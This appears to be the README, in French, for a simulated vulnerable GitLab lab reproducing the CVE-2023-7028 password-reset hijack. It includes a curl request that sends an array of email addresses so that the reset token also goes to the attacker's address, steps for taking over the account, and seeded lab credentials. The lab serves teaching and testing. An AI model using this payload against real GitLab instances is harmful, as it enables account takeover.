
Instance GitLab vulnérable simulée reproduisant le détournement de réinitialisation de mot de passe CVE-2023-7028. Démontre l'exploitation du paramètre e-mail basé sur un tableau et la prise de contrôle de compte. Usage exclusivement en laboratoire pédagogique.
CVE-2023-7028 (CVSS 10.0) : POST /users/password acceptait le tableau user[email][] — le serveur trouvait l'utilisateur via email[0] mais envoyait le même jeton de réinitialisation à toutes les adresses → un attaquant avec [email protected] détourne [email protected].
Concerné : GitLab CE/EE <16.5.6, <16.6.4, <16.7.2. Ce mock reproduit le flux vulnérable de la version 16.6.0 (base de données JSON, sans SMTP).
npm install && npm start → http://127.0.0.1:3000 (ou PORT=3001 npm start ; nouvelle tentative automatique si le port est occupé ; localhost uniquement).
Données préchargées : , , dans .
[email protected]/s3cur3P@ss![email protected]/BobSecure1![email protected]/5iveL!fedata/users.jsoncurl -X POST http://127.0.0.1:3000/users/password -d "user[email][][email protected]&user[email][][email protected]"
Vérifiez http://127.0.0.1:3000/mailbox ou /api/emails — les deux reçoivent le même jeton. Ouvrez .../users/password/edit?reset_password_token=TOKEN pour prendre le contrôle.
Normal : user[email][email protected] → un seul e-mail. La boîte mail affiche chaque e-mail ; rien ne quitte l'hôte.
MIT — laboratoire uniquement, ne pas exposer.